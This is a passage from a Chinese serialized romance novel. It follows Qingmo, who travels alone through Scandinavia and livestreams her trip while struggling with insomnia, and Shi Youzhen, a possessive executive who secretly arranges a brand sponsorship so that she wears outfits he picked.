清茉把买来的衣服扔给少衡,少衡抬手朝清茉扔过来一瓶药,问着:“你吃这个?家里医生给我妈开过,睡眠不好?依赖了吗?这玩意有副作用。” 清茉:“你身上有钱吗?” 少衡:“结婚登记的钱应该有。” 清茉:“不想做饭了,退烧了出去吃,请我吃点好的,我吃好几天苏打饼干了。” 少衡:“只要我哥没冻结我的卡应该就能够。” 清茉:“我搜一下这个城市最贵的餐厅。” 少衡:“咱就这点志气?不去,我要吃恩永吃的那种馅儿饼。” 清茉刚想怼他,心里一软,答应道:“那得重新买菜,你再去躺会吧,我还得出去一趟。” 少衡:“很麻烦吗?很麻烦就算了。” 清茉:“不麻烦,就是时间久一些。” 两个小时之后,少衡吃上了馅儿饼,牛肉洋葱馅儿的,酱汁饱满,很香,清茉坐在餐桌对面,一口也没动,少衡问她不饿吗,清茉:“做饭太累的话,就一点食欲也没有了。” 晚上少衡还是要赖在这里的架势。 清茉拿起药瓶当着少衡的面儿吃了三粒,少衡悚然想制止清茉已经喝水咽下去了,少衡瞪眼,觉得不是好事儿:“你怎么吃三粒?医生给的剂量吗?你不会长期服用耐药了吧?林清茉,你……” 清茉趟床上摆摆手:“我睡了,喊不醒的那种,你来去随意,最好我睁眼的时候你就滚了,当我又做了一场噩梦。” 少衡无语,心里说不上什么滋味,拿起药瓶拍了照发给医生,问询着:“吃三粒入睡什么情况。” 就算有时差,家庭医生回复得也很快,少衡看了医生的回复,瞧着已经陷进床里一动不动的清茉,啼笑皆非,小声嘀咕着:“都得这样吗?” 第79章 第七十九章 林清茉睡得踏实,大概是对…… 林清茉睡得踏实, 大概是对从小一起长大的纨绔有充分的认知,放任这个男人在小屋中游荡,她自己心安理得地霸占着唯一的单人床, 沉沉陷进被褥之中。 少衡在几十平的小房子中转来转去,脑子里只有“家徒四壁”几个大字。对清茉的印象,小时候的印记, 总是浓烈于成人后,重逢之后的见面匆忙急促, 他不太确定清茉是不是就是这种简约到单调的生活风格。 简单到不像善待自己。 整个房间最有存在感的是那瓶安眠药。少衡无聊拧开瓶盖, 数了数, 还剩六粒, 两天的量吗?她不至于每天都吃吧。 他们的亲昵和信任感情存在于成年人程式化的社交之前, 在这简陋的异国他乡,时间停滞,记忆回溯到很多年前两小无猜的孩提时刻, 笼罩在名为“施友臻”的共同阴影之下, 就算躲得远远的,“施友臻”外溢的影响力和控制力, 仍旧紧紧攥住了他俩的命门。 一个吃着安眠药假装无事发生, 一个认领上不了墙的烂泥说走就走, 而千里之外的施友臻坐在会议室开着冗长的决策会议收拾烂摊子,看着下属发来的少衡行程航班和目的地, 严肃的表情更阴沉, 身旁汇报的副总都磕磕巴巴起来。 施友臻能够比别人成功,决断能力绝对是一个加分项,作为掌舵的上位者,享受着金字塔尖的睥睨感, 也比旁人更善于划清界限和做出取舍。 感情的事,伴随着新鲜的悸动和YU望,是很新奇的人生体验,不管结果如何,施友臻不否认这算是一段无可取代的时光。只是在给过机会和余地之后,在超出耐心和沉没成本之后,结果不尽如人意。 过程大于结果,说白了就是徒劳。 理智告诉他应该适可而止了,人永远没有办法强迫更改另一个人的意志,如果不能百分之百,那就宁可戛然而止。 所以第八次的旅行,没有再发生。施友臻在听到那句“就这样吧”之后,被挑战权威和自尊心之后,有种索然无味之感,那一刻确实在心底叹了口气,眼前的女人是他一部分的执念,但不能让她变成吞噬理智的沼泽。 上赶着不是买卖,在不同的领域也适用。 施友臻已经从清茉之前所有的那个小居所中搬走,连沙发都差点摆不下的小房子重新回归了宁静,施友臻也没着急处置,维持他离开的原样,空置了。 他离开本就不属于他的局促空间,重新挑了一处独栋别墅区,新房子挑高很高,空间设计现代,之前曾经委托恩永去找清茉挑选她喜欢的家居,现在看是一厢情愿的笑话,剥离掉那些飘忽不定的情绪和牵挂,他又重新回归正轨,稳稳当当地继续做一个掌控者。 只是偶尔睡前会点开林清茉的账号,她更新的频率越来越低,从每个星期更新,到两个星期才更,现在一个月才发一条,可能是独自去北欧身边没了年轻男孩簇拥,她最近的一条视频虽然很长,但只不过全程录制了她从住处到办公室走的路程。 皑皑白雪,路旁的树,冰冻的河流,人烟稀少的道路,还有全程沉默的镜头。 翻了翻评论,留言有人说雪景很美,有人问怎么不讲话,显得很压抑。林清茉已经很久不在评论区互动了,连恩永都很少出现客串客服,施友臻估算,最近林清茉的线上视频疏于精心策划,流量应该很低迷。 他也无心再做什么榜一大哥,只是觉得视频中踩着积雪走路的声音,收音捕捉到林清茉呼吸的声音,都是助眠的白噪音,就开了视频循环,放在枕边。 融恒内部最近也是棘手的事情一桩连着一桩,施友臻捏了捏眉心,能解决的事情,都不是困难的事情,不能解决的事情,才是真的困难。 比如他的床上,本来不应该空着一半。 少衡负责的融恒置业因为投资地产项目失误爆雷,内部要追责的声音很多,施友臻对少衡这种逃避问题的态度厌恶透顶,对于他私自跑去林清茉那里更是无语,已经让秘书正式通知他立刻滚回来,否则后果自负。 关掉手机视频,施友臻把手机扔一边,预想中的睡意没有到来,他干脆起身去酒柜取了一支酒。施友臻仍旧厌恶这些让人成瘾的东西,但是不能否认他需要适度放松神经。 新的住处家装线条利落冷硬,一个人住更显得空旷。施友臻想起来林清茉热衷于五颜六色的软装,乱糟糟地充斥在狭小的空间,并不高级,甚至可以说庸俗,但是不能否认,那些玩意儿带着气息和温度。 林清茉从睡眠中醒来时,已经不见少衡的踪影,餐桌上留了一张字条还有一沓现金,字条上写着: “感谢收留,好好吃饭。” 对少衡发神经的行为见怪不怪,清茉清点了现金装进钱包,像往常那样洗漱起床泡麦片,收拾电脑出门。 外面还是冷得要命,阴天看不到太阳,没有阳光的天气里心情也低落一些,待在办公室修改文章忘记了时间,下午肚子饿了才起身,钱包里多了厚厚一沓钱,她找了附近一家贵一些的餐厅,预约了座位,晚上自己溜达着过去吃饭。 饭的味道另论,确实是昂贵的漂亮饭。清茉不至于缺钱,也不至于富裕,少衡的现金被当成不义之财,被她花得大大方方,上菜拍照,想着好久没更新,就发到了自己账号上去,配文:“金主赞助的漂亮饭,感谢金主的现金,请大家一起看。” 施友臻入睡后的凌晨,手机提示音响起,吵醒了他。 没错他单独设置了消息提示。 林清茉刚刚更新了内容,估计是因为文字表述中的“金主”“现金”之类的刻意词汇,刺激了她低迷的流量,不同语言的留言很多,算是她最近数据最好的一条更新,施友臻不屑地想着,这流量能接几个铜钱的广告收入。 施友臻不觉得林清茉能碰到哪个金主比他这个“真”金主更有钱,如果靠钱能解决,也就不是问题了。 林清茉清高的道德标准好像就是只为他施友臻一个人特设,旁人的现金就可以大方方接收并跟全世界炫耀,简直荒谬又可恨。 这种女人不值得花费再多的心神,施友臻再次肯定了自己的决定,将手机扔在一旁。 第80章 第八十章 高层会议前一刻,少衡坐在施…… 高层会议前一刻, 少衡坐在施友臻办公室里仍旧固执地不愿意参会,他刚回来没两天,很多事情来不及消化, 就被施友臻派车劫回融恒总部参会,少衡一是没有心理准备,二是已经默认担责, 预备退出融恒运营。 施友臻听他固执地坚持己见,像听苍蝇嗡嗡嗡, 只是低头翻看文件, 秘书敲门提醒可以去会场的时候, 施友臻才抬眼盯着少衡, 少衡在沉默的威压下闭嘴, 喝了口水掩饰复杂的内心。 施友臻看着他,这段时间少衡其实已经成长不少,一无是处之外有了一点是处。 少衡是弟弟, 不是下属。 施友臻放好钢笔, 问他:“融恒倒了吗?” 少衡一愣,摇头。 施友臻掷地有声:“会场上把脊梁挺起来, 我愿意支付挫折教育的成本。” 少衡跟在施友臻身后步入会场的时候, 收获一众注目礼, 他副总的桌牌还稳稳当当地放在第二顺位的位置,像是昭告融恒就是一个地地道道的家族企业, 血缘纽带凌驾在一切之上的黄金法则, 这里的王,姓施。 少衡迎接注目礼的时候,不自觉地挺拔了后背,绷紧精神听着主持会议的副总介绍今天的议程, 其中第一个议题,就是关于融恒置业的规划发展。 按照惯例,应该是融恒置业的负责人少衡介绍发言,但是这次是施友臻开口,介绍了融恒置业接下来的工作方向,集团总部谈下来的一个产业园改造项目,将由融恒置业主导规划建设,并承担初期运营探索。 施友臻讲完,会场鸦雀无声,这个项目是政企合作的大项目,原本规划并不是给少衡的,少衡获得了重点项目,那必然是有人会失去,产业部门的主管领导杨总欲言又止,这个时候张嘴说什么都不合适了。 少衡很明确地知道是别人的项目,他是能讲的,就开口道:“我觉得不合适,杨总前期为这个项目付出很多,他们团队的精英努力争来的项目,我怎么好意思白拿。这个议题建议搁置,还是由杨总团队执行。” 施友臻没有发言,杨总冒冷汗,客气道:“都是一家人,没关系没关系。” 少衡笑道:“别别别,就是因为我跟我哥是一家人,这话才得由我讲,下一个议题吧,先讨论别的。” 施友臻没表态,主持会议的副总在沉默中开始让第二个议题的汇报领导开始讲话,但是明显会场上阴云密布,低气压明显。 最后一个议题的时候,少衡的手机开始震动,他低头看了一眼,没有接。但是电话仍旧接连不断地打进来,第三遍的时候,他接了电话起身走出会场。 少衡走到走廊尽头,跨国电话中一位女士跟他汇报着情况:“施总,不好意思,我见到了林女士,但是她婉拒了,我现在被拒之门外,感觉沟通无效,抱歉。您看我还有必要再守在门口吗?林女士意志坚定,我应该进不了门。” 是少衡从国内给清茉找的心理医生,治疗睡眠问题的教授专家,少衡支付全部费用,高薪急聘,让她飞到清茉那里。 少衡听着教授的话,也不意外,说着:“稍等,我给她打个电话。” 电话拨过去的时候,会议刚好结束,西装革履的高管们从会议室走出,少衡握着电话往走廊更远的一边走过去,看着融恒楼廈外的城市和远山,走神几秒,被清茉的声音拉回现实。 清茉知道他为什么打电话,拒绝说着:“别给我添乱好嘛?你脑回路有问题吗?指望我跟你派来的心理医生谈天说地敞开心扉,然后她拿着谈话记录给你审阅?你也去看看心理医生好不好?” 少衡被她怼得无语,骂:“好心当成驴肝肺,说什么呢,治疗失眠的好嘛,你好歹开一下门,她给你个建议,调理调理运动饮食也行。” 清茉:“不用。” 少衡:“有能耐你别吃安眠药。” 清茉挂断了电话,少衡气得自言自语:“祖宗。” 少衡收起电话回身,就看到施友臻表情不善地站在身后一米的地方,施友臻:“电话一定要在重要会议中接?” 少衡陪笑,请施友臻回办公室,说着:“哥,杨总的项目给我真的不合适。” 施友臻:“我有别的安排给他。” 少衡:“那也不合适,不过可以按照这个思路走一走,从粗放投入转型到精心运营,我马上回去带着融恒置业的人马盘一盘手里的资源,看看能不能找到值得投入的项目。” 说话间心理学教授的电话又追了进来,应该还被林清茉关门外,少衡看了眼施友臻脸色,还是接了起来,教授无奈道:“那我回去了?” 少衡:“要不您在那边住两天,万一她改主意了呢,您就当旅游了。” 教授:“也行,那您跟林女士再好好沟通一下。” 少衡结束通话,看向办公桌后的施友臻,总有几分荒诞感,就抛开了工作,突然说着:“我给茉茉打的电话。” 施友臻果然皱眉,少衡继续:“她失眠,一直吃药,应该是吃到有抗药性了,剂量不小,我请了心理医生给她□□,这混蛋不开门。哥,你管不管?” 施友臻像是在消化,一时间沉默,少衡觉得好笑,说着:“你也管不了呗。” 施友臻脑中瞬间充斥着林清茉那次去世界尽头的旅行,呼啸在风中的呐喊,以及对死生看淡的感慨。 心口窝微妙地很不舒服。 少衡已经起身,说着:“谢谢哥的信任,我好好沉淀想想,我亏的钱,我想办法补回来,走了。” 如果旅行计划还在执行,施友臻应该马上订机票向机场出发,可惜旅行计划早就中断,他已经好几个月没有跟林清茉联系了。 既然决定尊重对方的人生,那是不是就应该尊重到底。 秘书打断施友臻的沉思,说杨总要过来汇报工作。施友臻让人进来,杨总对于刚才会上发生的事情像是心有余悸,表态项目给少衡完全没有问题,他的团队可以尽全力协助,有些过于诚惶诚恐了。 施友臻没肯定也没否认,只是说再考虑一下。 跟杨总谈话期间,以及杨总离开之后的很长时间,施友臻的手机页面停在机票订购的页面上。只要点下去机票预订,好像就会陷入另外一段徒劳的循环。 林清茉仍旧是他对抗不赢,解决不掉的难题。 晚上施友臻自己开车,思绪很重,潜意识支配中,竟然开到了林清茉的小区,既来之则安之,他干脆停好车子上楼。 家政定期还会来打扫,屋子里一尘不染,施友臻进屋,在局促的玄关熟练地摘下腕表,挂好外套,换鞋进屋。 坐在沙发上点开林清茉在南美旅游的那个视频,听她一遍一遍喊生就生死就死的屁话,心中烦躁异常。 施友臻看着机票页面气到无语,擅长操纵人心的施友臻无能狂怒地抓起沙发上的靠垫砸向阳台的玻璃门,靠垫是林清茉落下的,IP电影的联名,绣着一只瞪着大眼的傻乎乎兔子,被扔的靠垫没产生什么动静,软绵绵安静地弹到了地上。 第一次是在国内,第二次是国外,无疾而终的循环,有没有必要在北欧上演第三次。 手机提示音恰到好处地响起,划走机票页面,林清茉竟然毫无预兆地在社交媒体的平台上开了直播,施友臻点进去,看到界面也是一怔。 几乎不露脸的林清茉,这次竟然正对着镜头,大方方露着脸,盘腿坐在地上,跟大家打招呼,太久没见,施友臻看着镜头中的林清茉,好像清瘦很多,头发更长,及腰长发搭在身前,她跟观众挥手,说着: “嗨,好久不见,有没有被吓到,突然想开个直播聊聊天,也是最近发生了一些事。”她说着,探身向前,拿过一个瓶子,晃了晃,里面的药片哐哐作响。 清茉:“这瓶里面是安定片,我一直睡眠不太好,习惯睡前吃点,不过最近一个朋友过来,特别在意,估计是往不好的地方去想了,还给我约了心理医生。首先呢,我很感谢这位朋友,其次吧,我挺触动,解决失眠的问题,其实我选择了最简单粗暴的方式,换句话说,其实是我一直以来逃避型人格的折射。” “所以我觉得,悬崖勒马为时不晚嘛。”她把药瓶扔到了垃圾桶,继续说着:“里面还有三粒药,我就不吃了,还是应该有一个健康的状态。” “我一个人生活了很久。” 林清茉讲完这句,停顿了一会,调转了话锋:“我想说什么,今天心里有点乱,讲的也乱,大家见谅。我捋一捋,哦,对,我最近的项目提前结项,有将近一个月的时间可以自由支配,所以我想,不如再开始一段旅行,我准备从北欧旅行到南欧,沿途挑十个城市,也不准备做详细的攻略,随走随行,给大家做旅行直播。” “总结就是,我深刻检讨了一下自己,状态确实不对,既然做账号也要好好做嘛,我刚才收拾了一下,给大家看看,其实收拾的时候也挺感慨。” 镜头反转,拍到了整齐摆放在地上的大包小包,清茉解释着:“因为想着去旅行,我就收拾了一下,发现我现在所有物品,一个重装背包完全装得下,所有家当,反正我自己有点惊讶。” “在国内的时候,刚买房子那会我什么都爱买,爱囤,衣服、鞋子、包包、围巾、四件套、毛绒玩具、漂亮的餐具,我的房子就是极繁主义的标配,出国把房子卖掉,处理的时候还挺心疼,二手根本卖不出多少,大部分扔掉了。” “我感慨的是,你看,过到现在,真的是很夸张地做减法,我的洗漱包,电子设备包,常用衣物两三套足够,鞋子就是很舒服的运动鞋,从极繁到极简我也是够夸张的,我给大家看看我的旅行收纳。” 清茉把整齐的大小包裹展示出来,顺便做了一期好物推荐,展示完最后一件运动速干衣,清茉说着:“今天就到这里,直播间人数不少哎,我待会做个抽奖,留言好多,我看看大家在说什么。” 清茉靠近镜头,笑道:“好多爱心,都在夸我漂亮是吧,谢谢谢谢,嘴巴好甜,所以今天就是崭新开始喽,谢谢大家的鼓励,我会正面解决问题,有好的心得再跟大家分享。” “出发时间?说走就走呗,已经买了车票,不过我还要先干点别的事情,看看有没有人猜到,待会等我博照片,猜到有奖。拜拜,一会儿见。” 直播结束,施友臻起身把掉到地上的抱枕拾起来,扔回沙发。 两个小时之后,林清茉更新,放上来一组自拍。 施友臻看到脑子嗡地一下要炸,气恼掺杂着怜惜,心口窝再次沉压压坠住。 林清茉去剪掉了长发,乌黑如瀑的长发变成了清爽的短发。 施友臻很久没这么气过,他很喜欢林清茉的长发,小时候像洋娃娃,好多次因为调皮弄乱头发,毛糙糙跑到施友臻面前指使施友臻扎辫子,施友臻竟然会扎辫子你敢信,就是从小在林清茉头上练的。 他喜欢拥抱的时候去抚摸清茉的长发,凉凉顺滑地贴着掌心,带着好闻的香气。 她竟然剪掉了。 施友臻觉得是自己的所有物被染指了!她怎么敢!《 》 80-90 第81章 第八十一章 总裁办的人相互之间默默交…… 总裁办的人相互之间默默交流着眼色, 新任总裁办负责人小孔主任,年轻有为俊朗热情,这会儿也蹙眉, 为难地抱着胳膊盯着施友臻办公室紧闭的大门,在他这里登记排队想进施总办公室汇报的中高层各种总们,都可以排队拿号叫号了。 施友臻在里面, 不让打扰。 能胜任总裁办角色的狠角儿后续发展都非常好,施总觉得培养出来之后, 都会派到二级三级公司挑大梁, 小孔主任在激烈竞争中脱颖而出, 机警异于常人, 总裁办的其他职员云里雾里, 小孔主任已经敏锐地察觉到,必有妖事。 据他观察,一切异于平常的情况, 从施总突然开始使用两部手机开始, 一部手机就是平常那台,不知为何施总新添置了另外一台, 并且开始佩戴耳机。 施总本身工作风格就是一板一眼规划性极强, 按照惯例, 他审阅议定过的行程不会轻易更改,但是这几天一反常态, 最早一次出现在会议上, 原本正在进行的会议议程,突然被施总打断,他当时低头看了眼手机,让没有汇报完的下属改成书面汇报, 就结束了会议。 原本会议后安排的外出视察也取消了,施总让总裁办线上请示,他会在OA系统里审批,然后就一直自己待在办公室,明晃晃是勿扰的意思。 诸如此类情况已经反复出现几次,施总是不可能耽误工作的,毕竟再高效的会议也并不是不可取代,施总线上办公效率极高,指派也明确清晰,庞大的集团该怎么运行还是怎么运行,就是小孔主任得费脑子费口舌拦住想面见施总的各种总。 小孔主任总觉得心里不踏实,有次进去送文件,看到施总正目不转睛地盯着手机屏幕,表情说不上好不好,施总戴着耳机子盯着屏幕,很明显是在看什么。小孔主任心里打鼓,私底下跟之前施总身边的小夏助理打听,想知道以前有没有类似情况。 小夏助理已经被提拔到前台部门,薪资翻番,但是还是兼顾一些施总的私人委托,接到小孔主任电话的时候,小夏正在市中心奢品商厦考察各个品牌的户外装备,跟每个店铺的销售深入交谈,并将产品整理成报告,急呈施总。 小夏甚至还专门聘用了一位资深徒步女士教练,在各个品牌店面中挑选最优产品,鞋履服饰到装备,全套都很详细的评估,因为施总要地急,小夏逛完一家整理一家,汇报一家,用了一天时间考察完,最后又给了综合评估。 当然这种私人委托,小夏不会跟小孔主任分享,各凭本事嘛,小夏比谁都知道,给领导干私事儿,才是真心腹。 施友臻翻看小夏的整理报告,当然小夏是把样品也采购了一部分给施总过目。施友臻自己也去官网上浏览了一圈,从相册中划出林清茉剪短发之后的那组自拍,当成个高端课题一样,费心费力研究了起来。 对于她突然剪短长发,施友臻心里还是有股恶气,不过看了很多遍她短发的样子,又开始有点喜欢,很新奇,像换了个人,眼睛显得更大,不施粉黛的皮肤也带着一种少见的纯真,看得人心里发痒,很想欺负。 施友臻比对着短发林清茉的照片,圈定了N套,从高饱和度到低饱和度,从速干内搭到鞋子外套帽子手套背包,他都一样一样仔细勾选,搭配了通宵,没错,通宵,上一次值得施友臻通宵的事情,没有。 于第二天一早,施友臻把选定好的品牌册子发给小夏,让小夏去谈这个品牌露出的赞助,赞助的对象是一个自媒体博主,小夏点开那个自媒体账号,目瞪口呆,终于知道老板为什么把衣服尺码都指定得明明白白。 谈判的条件可以是大批量团购融恒职工年节福利以及后续深度合作。 施友臻没觉得过火,对自己的行为合理分析:工作过于无聊,就当玩个换装游戏消遣,劳逸结合,有益于身心健康。 被积雪阻拦延误航班的林清茉,干脆多在旅馆中续住了两天,她选的第一个城市,在更北的地方,本着来都来了的原则,继续北上,她还没看过极光呢。抵达后咨询报了当地的旅行团,预约到的导游推荐出海看鲸鱼,正好是峡湾鲸鱼随着鲱鱼群洄游的季节,清茉当然答应,来都来了,她也没见过海洋里的鲸鱼,听起来就很神奇。 答应粉丝每天都开直播,预约的旅行日程还没到,清茉就在房间里开了会直播,一边回答粉丝的问题一边处理邮箱里的邮件。 “怎么不开打赏?暂时不开了宝子们,不知道大家的年龄,怕收了不该收的钱,流量也能变现的嘛,大家有空来聊聊天就很好了。” “是穷游吗?不算吧,我不是卖了房子出国的嘛,做自媒体账号也能有点收入,就没必要太苛待自己,流量好的话会有推广啊赞助啊,虽然不多,我还得努力。” “什么时候看极光?明后天跟导游一起去,自己旅行各方面安全问题还是要注意,大家也要找正轨的机构,安全第一嘛,明天应该还有其他的人一起,我参加了个团。” 邮箱里有新邮件提醒,清茉点开,一愣,对着镜头笑道:“说曹操曹操就到,我的天,好像收到了品牌爸爸的邮件,友友们,稍等哈,我研究一下,今天就到这里,我们正式旅行见,愿我们好运,看到极光跟鲸鱼。” 邮件是国内品牌运营部门发来的,希望赞助清茉这次全程的旅行,因为是国际品牌,可以协调马上就从周边城市调货,并附上了赞助目录让清茉挑选。 林清茉按照上面留的负责人电话拨打了过去,那边是一位干练的年轻女士,专业回答了清茉的诸多提问,说是清茉的粉丝所以关注到了她的行程,又因为负责商务推广合作,又因为正好在欧洲,非常看好这次贯穿欧洲的旅行,感觉能火,又说清茉形象审美俱佳,后期可以剪辑出旅行纪录片,作为品牌案例素材。 因为讲得面面俱到,林清茉没想那么多,爽快答应,对方让清茉先挑选一批,后天是出海看极光的旅行,品牌方负责人杨经理建议先选防风防寒的户外装备,还问清茉有没有滑雪计划,要不要也挑选滑雪装备。 清茉没有高山滑雪的基础,对极限运动心存敬畏,安全起见婉拒了滑雪的建议,对方太热情,相互添加了联系方式,通话的时候就撺掇着清茉挑选了一套克莱因蓝户外装备,杨经理温温柔柔又斩钉截铁说着:“那可太巧了,我离你城市不远,申请公差给你送过去,顺便带团队过去取景,当然不会打扰您私人行程。” 沟通效率极高,清茉看着对方发过来的头衔,确实是品牌中权限很高的职位,清茉隐约觉得哪里不对,又觉得好像合理,想着大概高级别就是高效率挣得的,也就没再多想。 品牌方杨经理结束通话,表情夸张地深呼一口气,跟身边的小夏助理握手,感慨道:“为了拿你们融恒的单,我也是拼了,夏总,我表现怎么样。” 刚刚托运完六个巨大行李箱的小夏助理也松口气,竖起大拇指,说着:“我升职加薪也看这回了,干得漂亮杨总,滴水不漏呢,让我们结成最稳固的同盟,光荣完成任务。” 杨经理笑道:“我真的是一半为了业绩,一半为了好奇心,到底是谁啊,融恒哪位的千金吗?这么隐秘慎重地去服务?咱们像执行秘密任务,到底谁啊?我可太好奇了,话说回来真挺漂亮的?我瞎猜啊,你别往外说,是不是你们小施总在追女朋友,小施总花边新闻我们可是不少听。” 林清茉出国前,小夏还是助理的时候接触过,也猜到一些,不过此情此景,实在难评,很难定义变态不变态,就含蓄道:“反正是必须慎重对待的人物嘛,不是小施总,该咱们知道的时候自然就知道了,反正干好了咱俩名利双收肯定的。” 所以当林清茉再次开启直播的时候,已经换上全套的赞助商装备,皑皑白雪中醒目的亮蓝色衬得她肤色也白莹如雪,施友臻看到林清茉从头到脚都是他亲自挑选的衣服装备,那一刻真是爽到天灵盖呢。 愈堵愈甚,积重难返。施友臻对此有过反思,林清茉越是要自由,越是想远离,他想掌控的念头越疯狂,几个月的冷静期看似冷静,冷静之下是蔓生滋长的疯癫念头终于撕碎了他的冷静,听到她药物依赖,看到她剪掉长发,肆意疯长的渴望就没办法再视而不见了。 镜头中的林清茉已经登船,突然指着海面惊呼:“天呐!海上街溜子!我看见海上街溜子啦!” 海上风浪吹得她白里透红,眸眼亮如星辰,干净纯真得像未经人事,过往岁月中的起起落落分分合合都被呼啸海风吹散得干干净净,只剩一个自由轻盈的灵魂游弋在浪漫的惊喜相逢中。 隔着镜头是千里万里,可想把她攥在手心中的YU望只增不减,施友臻听着她惊呼的朗朗笑声,嘴角不自觉也带了笑,可是怎么可以这么快乐,她是真的享受一个人的自由自在。 海鸥成群略过海面,虎鲸群旋转捕食逗弄着咋咋呼呼的人类,林清茉在“哇~哇~哇~”感慨个不停,施友臻在想她是真的很快乐吧。 第82章 第八十二章 看到鲸鱼群的兴奋让林清茉…… 看到鲸鱼群的兴奋让林清茉再次陷入无法入睡的困境, 明明身体很累,精神仍旧亢奋,回到旅店洗漱之后照理处理了会邮件, 跟导师也发了联系邮件,约定了回校见面的时间。 工作完看着房间中品牌方杨经理特意让团队送过来的几套赞助衣服,反正也睡不着, 导游说万一极光出现,旅店会通知大家, 随时集合出发, 她干脆开始录制OOTD, 把看鲸鱼的那套先录了, 又挑出准备看极光的那套。 鳄梨绿的防风防水冲锋衣, 还有白色羽绒服内胆,保暖速干内搭套装,清茉觉得人家品牌方诚意十足, 在这么短的时间里问清楚尺码车马劳顿送货上门, 她怎么着都得认真对待,她可是连锁服装店老板六六女士的御用模特, 拍摄穿搭绝对老本行。 品牌对接人杨经理讲的话倒是提点了清茉, 她自己也有意整理了很多素材, 有随想随感就记下来,回头去学学专业编导剪辑, 做出来一个旅行片, 题目没想好,实在想不出来就叫《一个人的旅行》,或者再直白一点叫《一路向南》,当然能想出别的题目更好, 这两个估计重复率很高,或者干脆从粉丝那里征集,她不擅长起名字。 走神间又想起来六六的结婚请帖,不知道六六为什么这么早发请帖,还是单独先给清茉发出,让她留足回国的准备时间,结婚的日子是开春,还有将近三个月。 清茉没决定,要不要回去。 调整好灯光,清茉试穿的时候很喜欢鳄梨绿的这套,对着镜头一整个大称赞,跟极光绝配。录制完趁着热乎劲儿剪辑,问杨经理要了每件衣服的详细信息参数,先做了图文版本发到账号上,又把白天看鲸鱼的视频剪出来,等把最新的OOTD也编辑好,夜已经很深了。 清茉做了睡前拉伸瑜伽,放了助眠的音乐,突然旅店中开始播放广播,清茉一愣,很快接到导游通知,组织大家出来看极光。 极光爆发的季节,漫长的黑色是最好的舞台背景,导游带着观光团驱车去了光污染更少的山林之间,同行的摄影爱好者语速很快地推荐相机拍摄参数,噼里啪啦过于专业清茉压根没有听懂。 比起看到鲸鱼的兴奋,绚烂苍穹之下,心里反倒觉得平静,天地很大,人很渺小,时光短暂,人活一瞬。 清茉躺倒在白雪中,打开了账号直播,打招呼问着:“没想到吧,突然就出来看上极光了,镜头里能看清吗?导游大哥说现在是极光爆发的季节,天,太漂亮了,我觉得描述不出来,很震撼。” 没有预告的直播刚开始人并不多,清茉也不想错过享受极光的宝贵时刻,就把手机放在一旁包上,自己也安静仰望天空,收进眼中心里的美景,更珍贵。 磅礴,梦幻,飘渺。 直播结束的时候,清茉才重新在旁边讲话,说着:“虽然很冷,但是我穿的很暖,直播间的朋友们比我想的要多哎,我挑几个问题互动一下吧,等一下我调转镜头,好啦,看到我了吧,咱们今儿就将就大自然的光线,估计马上返程了。我看看第一个问题,问大概多少费用。” “北欧这边旅行不算便宜,出海费用更贵一些,我觉得跟当地观光团比较方便。” “冷不冷?冷啊姐妹,超冷,但是这个问题问得很好,因为我穿了这个牌子!很暖和!大家搜一下三层穿衣法,我今天刚录制了OOTD敬请期待!” “最后一个问题,下一站是哪里,还没决定呢,明天出发的时候再定,买好票告诉大家。导游大哥喊大家集合了,今天的直播就到这里,朋友们下一站见!” 或许是真的疲惫,清茉回到旅店后,心里很安静,躺下后很快也睡着了,并且睡了一个长长的觉,组团的行程已经结束,后面的时间她自由支配,更加自由,反正一直睡到自然醒,松散地睁眼爬起来,看着窗外发呆。 静音的手机中有好几个未接来电,是恩永打来的,估计一直没接,恩永发来语音留言连环炸弹,清茉点开,直接把清晨的静谧炸没了,恩永咆哮: “姐!我刚看见!旅行怎么不带我!我离你不远!就六百公里!下一站哪里!我去找你玩!” “我要被工作逼疯了啊啊啊啊啊啊啊!我要旷工!!!融恒不是人待的地方!!!让我旷工!!!让我滚!!!” 六百公里确实挺近的呢,刚听完,恩永电话又拨了进来,清茉一犹豫,还是接起来了,恩永大嗓门中气十足问着:“姐,你是准备往南边走吧,路过我这里吗?我请你吃大餐,融恒给我的工资可高。” 清茉乐:“体验到牛马的快乐了?给你吊了什么品种的胡萝卜这么拼命。” 恩永:“嗯呢,你都不知道施……那个男人有多变态,给我压了多少担子,他还威胁我们家,但是他又挺会画大饼,见面细聊,过来呗。” 清茉更直白:“我看你吃饼吃的甘之如饴。不去,看到你们姓施的就烦,好好干活吧,没事别骚扰我。” 恩永:“……” 跟恩永打完电话,清茉突然想到了什么事儿,点开自己的账号,在粉丝中搜索出“美食探险家”的ID账号,拉黑,然后顺手把已经剪辑好的OOTD发布了上去。 成年人的绝招,揣着明白装糊涂,揣着糊涂装明白。 融恒总裁办,小孔主任咨询小夏助理无果,他跟小夏同期入职,原本想请小夏一起吃个饭,结果小夏被外派出国了,小孔主任心里更加没底,干脆去拜访了前大秘章宁。章宁笑眯眯接待了小孔主任,给予的意见非常言简意赅:“让你干嘛你干嘛呗。” 小孔主任点头感谢,上楼就被办公室其他人告知:“施总今儿感觉是低气压哦,刚才找你要材料呢,快去。” 不喜形于色不等于就是个木头人,施友臻的低气压来源于他发现自己被拉黑了。之前的账号“美食探险家”打赏花了不少,空气都没吃上,都让施恩永那货吃了。一切精明计算的投入产出到了林清茉这里都是徒劳,施友臻冷着脸注册了新的账号,这次ID名字都不起了,就顶着系统默认的字母数字编号,固执地再次关注。 林清茉新更了OOTD,施友臻看完,顶着新鲜出炉的账号,继续冷着脸大方方在评论区留言:“好看,很合身。” 评论很快被淹没,施友臻的账号泯然众人矣,心情好像更不好了。 第83章 第八十三章 同在一个旅行团观鲸的小情…… 同在一个旅行团观鲸的小情侣向清茉推荐了峡湾南部的小镇, 正好预约到一座二百多年历史的小城堡,房间能看到大海,城堡餐厅做当地美食也小有名气, 清茉就把这个没听说过过的小镇定成了下一站。 抵达的时候天空正飘着雪花,海边城堡暖橙色的灯光透过漫天大雪像童话镇,站在外面隐约能听到里面的音乐, 清茉倒也没着急进去,很喜欢大雪中城堡的模样, 录制城堡雪景的时候, 跑出来一只边牧, 知道清茉是客人似的, 热情引路, 清茉被逗得笑起来,打招呼道:“嗨嗨嗨,好可爱的狗狗, 见到你很高兴, 这尾巴摇的,你也高兴对吗?” 聪明的边牧一直领着清茉到登记入住的位置, 清茉用中文感谢一番, 又用英文感谢一番, 摸摸抱抱互动了一会才去登记,实在被萌到了就把这段原视频发了上去, 配文写着:“夜宿城堡浪漫相遇热情主人, 已陷入爱河!” 视频发出去自然也惹得惊呼一篇,大雪很美,城堡很梦幻,狗狗很可爱, 